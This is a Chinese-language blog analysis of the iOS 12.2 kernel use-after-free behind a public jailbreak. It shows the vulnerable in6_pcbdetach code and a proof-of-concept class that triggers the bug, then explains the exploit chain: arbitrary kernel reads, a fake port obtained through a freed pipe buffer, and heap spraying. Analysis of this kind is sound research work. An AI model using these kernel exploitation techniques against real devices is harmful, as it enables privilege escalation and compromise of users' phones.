iOS12-2 越狱漏洞分析

本文作者: Peterpan0927 (信安之路病毒分析小组成员 & 360 涅槃团队成员)

成员招募:信安之路病毒分析小组寻找志同道合的朋友

p0 的 nedwill 在同事的帮助下:) 完成了 iOS12.2 越狱:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1806

这是一个 UAF 的洞,是通过 tfp0 的方式来拿到内核代码执行的权限了,一般的利用方式我们都还是比较熟悉了,而且 UAF 的利用方式我们通常都是通过 ROP 的方式来提权,所以都要配合一个信息泄漏,所以这次的利用方式还是非常值得我们去学习的。通过代码结构来看应该是少不了 bazad 的帮助,通过他那个软件工程式的 exploit 就凸显了斯坦福博士的风格。不过整体都是 C++ 下的看的着实有点难受。

0x1 漏洞代码

void
in6_pcbdetach(struct inpcb *inp)
{
    // ...
  if (!(so->so_flags & SOF_PCBCLEARING)) {
    struct ip_moptions *imo;
    struct ip6_moptions *im6o;
    inp->inp_vflag = 0;
    if (inp->in6p_options != NULL) {
      m_freem(inp->in6p_options);
      inp->in6p_options = NULL; // <- good
    }
    ip6_freepcbopts(inp->in6p_outputopts); // <- bad
    ROUTE_RELEASE(&inp->in6p_route);
    // free IPv4 related resources in case of mapped addr
    if (inp->inp_options != NULL) {
      (void) m_free(inp->inp_options); // <- good
      inp->inp_options = NULL;
}


这里在进行资源释放的时候没有把 inp->in6p_outputopts 指向空,但是在 socket 断连再连接的时候就会造成 UAF 了,我看了一下 ip6_freepcbopts 这个函数,他将 in6p_outputopts 中的资源逐个释放并指向空,但很可惜忽略了他的上层。

我们的 poc 如下:


DanglingOptions::DanglingOptions() : dangling_(false) {
  s_ = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
  if (s_ < 0) {
    printf("failed to create socket!\n");
  }

  // 保证我们释放之后还可以进行setsockopt操作
  struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT,
                                   .npx_mask = SONPX_SETOPTSHUT};
  int res = setsockopt(s_, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
  if (res != 0) {
    printf("failed to enable setsockopt after disconnect!\n");
  }
  int minmtu = -1;
  
  SetMinmtu(&minmtu);
  FreeOptions();
}

bool DanglingOptions::FreeOptions() {
  if (dangling_) {
    return false;
  }
  dangling_ = true;
  //这个时候in6p_outputopts就已经被我们释放掉了
  int res = disconnectx(s_, 0, 0);
  return res == 0;
}

0x2 总体思路

整个利用的总体结构如下:

整体的结构还是比较好理解的,与之前的利用不一样的是,这里提出了几个不一样的技巧:

1、fdofiles

我们知道在一个进程的上下文中应该是会记录了这个进程打开的文件数量,有一个 array 来记录这些数据,这里正是利用了这一点,来获取管道的内核地址:

task -> proc -> fd table -> open files array (fd_ofiles)

fd_ofiles -> fileproc -> f_fglob -> fg_data -> pipe -> pipe buffer

其中 fake port 的管道内核地址是为了构造 kernel taskuaf pipe 是为了释放掉它的 buffer 重新填充

2、20 字节的任意地址读

首先来看看我们重用的那个对象的结构体:

image

其中 pktinfo 是一个 union ,包含了 128 bit 的 ipv6 地址和一个 4 字节的整型 index

struct in6_pktinfo {
         struct in6_addr ipi6_addr;      /* src/dst IPv6 address */
         unsigned int    ipi6_ifindex;   /* send/recv interface index */
 };

通过 getsockopt 中执行的对应 option 我们可以拿到这 20 字节的数据,也就是意味着每次我们通过触发 UAF,然后将我们想要读取的内核地址数据堆喷上去,然后通过 api 再读回来。

//通过控制option name来取不同的属性
bool DanglingOptions::GetIPv6Opt(int option_name, void *data, socklen_t size) {
  int res = getsockopt(s_, IPPROTO_IPV6, option_name, data, &size);
  if (res != 0) {
    printf("GetIpv6Opt got %d\n", errno);
    return false;
  }
  return true;
}

//buffer是我们堆喷的数据
memcpy(buffer.get() + OFFSET(ip6_pktopts, ip6po_pktinfo), &address_uint,
         sizeof(uint64_t));

可能不了解总的结构体的话还是会有些模糊:

struct  ip6_pktopts {
         struct  mbuf *ip6po_m;  /* Pointer to mbuf storing the data */
         int     ip6po_hlim;     /* Hoplimit for outgoing packets */
 
         /* Outgoing IF/address information */
         struct  in6_pktinfo *ip6po_pktinfo;
 
         /* Next-hop address information */
         struct  ip6po_nhinfo ip6po_nhinfo;
 
         struct  ip6_hbh *ip6po_hbh; /* Hop-by-Hop options header */
 
         /* Destination options header (before a routing header) */
         struct  ip6_dest *ip6po_dest1;
 
         /* Routing header related info. */
         struct  ip6po_rhinfo ip6po_rhinfo;
 
         /* Destination options header (after a routing header) */
         struct  ip6_dest *ip6po_dest2;
 
         int     ip6po_tclass;   /* traffic class */
 //获取port的内核地址就是用了这个属性,minmtu取到高32位,prefer_tempaddr取到低32位(小端模式),通过((uint64_t)minmtu << 32) | prefer_tempaddr 操作最后算出地址
         int     ip6po_minmtu;  /* fragment vs PMTU discovery policy */
 
 
         int     ip6po_prefer_tempaddr;  /* whether temporary addresses are
                                            preferred as source address */
 
         int ip6po_flags;
 };

任意地址读相当于是用我们想要读取的数据覆盖 ip6po_pktinfo 指针,所以在取的时候会对这个指针的值解引用然后读取 20 字节的数据回来。这个做法很精妙但是不通用,只是针对于这个结构体而言的。

3、uaf_pipe

我们虽然构造了一个 fake port 但是苦于没有一个合法的 port name 进行操纵,所以就算我们把 kernel task 全都 dump 到了我们的 fake task ,也没办法进行任意地址读写,这里提出了一个新的 UAF pipe ,创建之后我们先通过任意地址读拿到它的内核地址信息,然后将它的 buffer 给释放掉,注意这里释放的只是 buffer ,而不是 pipe

再通过堆喷大量的 ool ports 占据这块 buffer ,那么这个时候 buffer 中应该包含着刚刚堆喷的 port 的内核地址,最后将 uaf pipe 的首 8 个字节改写为 fake port 的地址,这就相当于我们拥有了一个可以操控 fake portport name 了,最后我们接受消息,判断 port name 是否合法,如果合法说明我们已经拥有了最后的内核地址读写的权限了。

4、heap spray

我们知道做堆喷是有多种方式的,这里选择每一种都是有原因的, ool ports 是为了 port nameIOSurface 是因为用起来很舒服,比较自由 ,所以除非是为了 fake port ,我们用的都是 IOSurfaceset_value

0x3 参考链接

bugs.chromium

https://bugs.chromium.org/p/project-zero/issues/detail?id=1806

mark,谢谢分享!